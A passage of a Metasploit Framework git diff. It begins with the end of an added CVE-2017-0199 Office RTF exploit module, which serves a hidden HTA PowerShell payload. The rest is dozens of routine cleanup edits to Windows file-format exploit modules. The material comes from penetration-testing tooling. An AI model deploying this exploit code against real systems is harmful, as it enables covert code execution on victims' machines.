ministream_data << "00000000000000000000000000000000" # 00000130: ................ + ministream_data << "00000000000000000000000000000000" # 00000140: ................ + ministream_data << "00000000000000000000000000000000" # 00000150: ................ + ministream_data << "00000000000000000000000000000000" # 00000160: ................ + ministream_data << "00000000000000000000000000000000" # 00000170: ................ + ministream_data << "00000000000000000000000000000000" # 00000180: ................ + ministream_data << "00000000000000000000000000000000" # 00000190: ................ + ministream_data << "00000000000000000000000000000000" # 000001a0: ................ + ministream_data << "00000000000000000000000000000000" # 000001b0: ................ + ministream_data << "00000000000000000000000000000000" # 000001c0: ................ + ministream_data << "00000000000000000000000000000000" # 000001d0: ................ + ministream_data << "00000000000000000000000000000000" # 000001e0: ................ + ministream_data << "00000000000000000000000000000000" # 000001f0: ................ + ministream_data + end + + def create_rtf_format + template_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2017-0199.rtf") + template_rtf = ::File.open(template_path, 'rb') + + data = template_rtf.read(template_rtf.stat.size) + data.gsub!('MINISTREAM_DATA', create_ole_ministream_data) + template_rtf.close + data + end + + def on_request_uri(cli, req) + p = regenerate_payload(cli) + data = Msf::Util::EXE.to_executable_fmt( + framework, + ARCH_X86, + 'win', + p.encoded, + 'hta-psh', + { :arch => ARCH_X86, :platform => 'win' } + ) + + # This allows the HTA window to be invisible + data.sub!(/\n/, "\nwindow.moveTo -4000, -4000\n") + + send_response(cli, data, 'Content-Type' => 'application/hta') + end + + def exploit + file_create(create_rtf_format) + super + end +end diff --git a/modules/exploits/windows/fileformat/office_word_macro.rb b/modules/exploits/windows/fileformat/office_word_macro.rb index 94260f848d..9cde1cf8c8 100644 --- a/modules/exploits/windows/fileformat/office_word_macro.rb +++ b/modules/exploits/windows/fileformat/office_word_macro.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -52,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options([ OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The Office document macro file', 'msf.docm']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/openoffice_ole.rb b/modules/exploits/windows/fileformat/openoffice_ole.rb index 85aaa1f5b8..813764d7f3 100644 --- a/modules/exploits/windows/fileformat/openoffice_ole.rb +++ b/modules/exploits/windows/fileformat/openoffice_ole.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The filename', 'msf.doc']) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb index 17350e5db9..bbb67334a3 100644 --- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb +++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.metalink']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb index ba23f01b14..cdc94b0aa6 100644 --- a/modules/exploits/windows/fileformat/orbital_viewer_orb.rb +++ b/modules/exploits/windows/fileformat/orbital_viewer_orb.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.orb']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb index d17be93da7..e12c5f4730 100644 --- a/modules/exploits/windows/fileformat/ovf_format_string.rb +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), - ], self.class) + ]) end def ovf diff --git a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb index 0c1416eb54..72363df32b 100644 --- a/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.psh']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/proshow_load_bof.rb b/modules/exploits/windows/fileformat/proshow_load_bof.rb index 39a26a3059..c9ba4e327a 100644 --- a/modules/exploits/windows/fileformat/proshow_load_bof.rb +++ b/modules/exploits/windows/fileformat/proshow_load_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'load']), - ], self.class) + ]) end # Overriding file_create to allow the creation of a file without extension diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb index a77cd17b8e..deec5044fc 100644 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Feb 5 2014', 'DefaultTarget' => 0)) - register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class) + register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),]) end diff --git a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb index f39244cd4e..5dae7bd3dd 100644 --- a/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb +++ b/modules/exploits/windows/fileformat/real_networks_netzip_bof.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -76,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), OptString.new('CONTENTNAME', [ true, 'Name of the fake zipped file', 'passwords.txt']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index 04f4942631..c9be17975b 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Dec 14 2012', 'DefaultTarget' => 0)) - register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class) + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),]) end diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb index 03a9a8ad81..2a756a853d 100644 --- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb +++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb index 65584db42e..bcf80c1bfa 100644 --- a/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb +++ b/modules/exploits/windows/fileformat/safenet_softremote_groupname.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.spd']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index 49acb4a06d..38d0a078ce 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = LowRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.html']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/scadaphone_zip.rb b/modules/exploits/windows/fileformat/scadaphone_zip.rb index 037ec684f9..dd3a9ba1ad 100644 --- a/modules/exploits/windows/fileformat/scadaphone_zip.rb +++ b/modules/exploits/windows/fileformat/scadaphone_zip.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -54,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb index cb0f20199f..2cd14ff507 100644 --- a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb +++ b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [true, 'The file name.', 'msf.asx']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/shaper_pdf_bof.rb b/modules/exploits/windows/fileformat/shaper_pdf_bof.rb index 5c99f109a0..20fc0f278b 100644 --- a/modules/exploits/windows/fileformat/shaper_pdf_bof.rb +++ b/modules/exploits/windows/fileformat/shaper_pdf_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/somplplayer_m3u.rb b/modules/exploits/windows/fileformat/somplplayer_m3u.rb index 7f243b7e07..c51890a196 100644 --- a/modules/exploits/windows/fileformat/somplplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/somplplayer_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb index b005e87ed9..3af0f857a7 100644 --- a/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/subtitle_processor_m3u_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [false, 'M3U filename', 'msf.m3u']) - ], self.class) + ]) end def get_unicode_payload(p, opts) diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index c5c6b9af07..cbb882ba32 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ppl']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb index 1e6c0503bf..4e1fc88839 100644 --- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb +++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 24 2013', 'DefaultTarget' => 0)) - register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),], self.class) + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),]) end diff --git a/modules/exploits/windows/fileformat/tugzip.rb b/modules/exploits/windows/fileformat/tugzip.rb index 4d12cb0ead..7557189656 100644 --- a/modules/exploits/windows/fileformat/tugzip.rb +++ b/modules/exploits/windows/fileformat/tugzip.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -66,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/ultraiso_ccd.rb b/modules/exploits/windows/fileformat/ultraiso_ccd.rb index 2861864028..0f07777cf8 100644 --- a/modules/exploits/windows/fileformat/ultraiso_ccd.rb +++ b/modules/exploits/windows/fileformat/ultraiso_ccd.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ccd']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ultraiso_cue.rb b/modules/exploits/windows/fileformat/ultraiso_cue.rb index 2124a0580c..bc96058f10 100644 --- a/modules/exploits/windows/fileformat/ultraiso_cue.rb +++ b/modules/exploits/windows/fileformat/ultraiso_cue.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -77,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.cue']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb index 9517eaab91..a59baa33ff 100644 --- a/modules/exploits/windows/fileformat/ursoft_w32dasm.rb +++ b/modules/exploits/windows/fileformat/ursoft_w32dasm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf-w32dasm.exe']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/varicad_dwb.rb b/modules/exploits/windows/fileformat/varicad_dwb.rb index 538b44d520..dd3b34025a 100644 --- a/modules/exploits/windows/fileformat/varicad_dwb.rb +++ b/modules/exploits/windows/fileformat/varicad_dwb.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dwb']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/videocharge_studio.rb b/modules/exploits/windows/fileformat/videocharge_studio.rb index 3ad0c240f7..7fef0108b2 100644 --- a/modules/exploits/windows/fileformat/videocharge_studio.rb +++ b/modules/exploits/windows/fileformat/videocharge_studio.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Oct 27 2013', 'DefaultTarget' => 0)) - register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),], self.class) + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.vsc']),]) end diff --git a/modules/exploits/windows/fileformat/videolan_tivo.rb b/modules/exploits/windows/fileformat/videolan_tivo.rb index a7670ff4e0..39507ffafd 100644 --- a/modules/exploits/windows/fileformat/videolan_tivo.rb +++ b/modules/exploits/windows/fileformat/videolan_tivo.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.ty']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/videospirit_visprj.rb b/modules/exploits/windows/fileformat/videospirit_visprj.rb index 6c8280bc0a..b852583ca3 100644 --- a/modules/exploits/windows/fileformat/videospirit_visprj.rb +++ b/modules/exploits/windows/fileformat/videospirit_visprj.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'VideoSpirit project name.', 'msf.visprj']), - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/fileformat/visio_dxf_bof.rb b/modules/exploits/windows/fileformat/visio_dxf_bof.rb index ad4e9a8306..63cbc7be28 100644 --- a/modules/exploits/windows/fileformat/visio_dxf_bof.rb +++ b/modules/exploits/windows/fileformat/visio_dxf_bof.rb @@ -2,8 +2,6 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -88,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.dxf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb index 92af418f47..3f34f84b2e 100644 --- a/modules/exploits/windows/fileformat/visiwave_vwr_type.rb +++ b/modules/exploits/windows/fileformat/visiwave_vwr_type.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.vwr']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb index cc8c810bb0..43f971acdf 100644 --- a/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb +++ b/modules/exploits/windows/fileformat/vlc_modplug_s3m.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.s3m']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/vlc_realtext.rb b/modules/exploits/windows/fileformat/vlc_realtext.rb index 9efaf4aa67..7e60111c55 100644 --- a/modules/exploits/windows/fileformat/vlc_realtext.rb +++ b/modules/exploits/windows/fileformat/vlc_realtext.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -62,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.rt']), - ], self.class) + ]) end def generate_mp4 diff --git a/modules/exploits/windows/fileformat/vlc_smb_uri.rb b/modules/exploits/windows/fileformat/vlc_smb_uri.rb index a2e8842571..b270caa41a 100644 --- a/modules/exploits/windows/fileformat/vlc_smb_uri.rb +++ b/modules/exploits/windows/fileformat/vlc_smb_uri.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/vlc_webm.rb b/modules/exploits/windows/fileformat/vlc_webm.rb index 381d95bef2..db8ce9f0d4 100644 --- a/modules/exploits/windows/fileformat/vlc_webm.rb +++ b/modules/exploits/windows/fileformat/vlc_webm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.webm']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/vuplayer_cue.rb b/modules/exploits/windows/fileformat/vuplayer_cue.rb index a4c85b7258..5275aa7590 100644 --- a/modules/exploits/windows/fileformat/vuplayer_cue.rb +++ b/modules/exploits/windows/fileformat/vuplayer_cue.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.cue']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/vuplayer_m3u.rb b/modules/exploits/windows/fileformat/vuplayer_m3u.rb index d903b448c3..1816c7c963 100644 --- a/modules/exploits/windows/fileformat/vuplayer_m3u.rb +++ b/modules/exploits/windows/fileformat/vuplayer_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb index 85a01388d8..a925b26949 100644 --- a/modules/exploits/windows/fileformat/watermark_master.rb +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -63,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 1 2013', 'DefaultTarget' => 0)) - register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class) + register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),]) end diff --git a/modules/exploits/windows/fileformat/winamp_maki_bof.rb b/modules/exploits/windows/fileformat/winamp_maki_bof.rb index 4a9d750ab8..2fb289139d 100644 --- a/modules/exploits/windows/fileformat/winamp_maki_bof.rb +++ b/modules/exploits/windows/fileformat/winamp_maki_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb index 451b5cdff1..beb12ff9ba 100644 --- a/modules/exploits/windows/fileformat/winrar_name_spoofing.rb +++ b/modules/exploits/windows/fileformat/winrar_name_spoofing.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/zip' class MetasploitModule < Msf::Exploit::Remote @@ -53,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('SPOOF', [ true, 'The spoofed file name to show', 'Readme.txt']), OptString.new('FILENAME', [ true, 'The output file name.', 'msf.zip']) - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb index 07a51fe6c6..8e19eb011a 100644 --- a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb +++ b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -69,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']), - ], self.class) + ]) end def create_rop_chain() diff --git a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb index c9bc390b9c..b6a6e5bcea 100644 --- a/modules/exploits/windows/fileformat/wireshark_packet_dect.rb +++ b/modules/exploits/windows/fileformat/wireshark_packet_dect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'pcap file', 'passwords.pcap']), - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb index c30ee3fbb9..a61f85a011 100644 --- a/modules/exploits/windows/fileformat/wm_downloader_m3u.rb +++ b/modules/exploits/windows/fileformat/wm_downloader_m3u.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb index 85090b33ae..142b14cc4e 100644 --- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.xpl']), - ], self.class) + ]) end diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb index 461b7f28bc..55a82ea26e 100644 --- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb +++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote OptString.new('FILENAME', [ false, 'The output filename.', 'm_101_xion.m3u']), # seh offset depends on path length 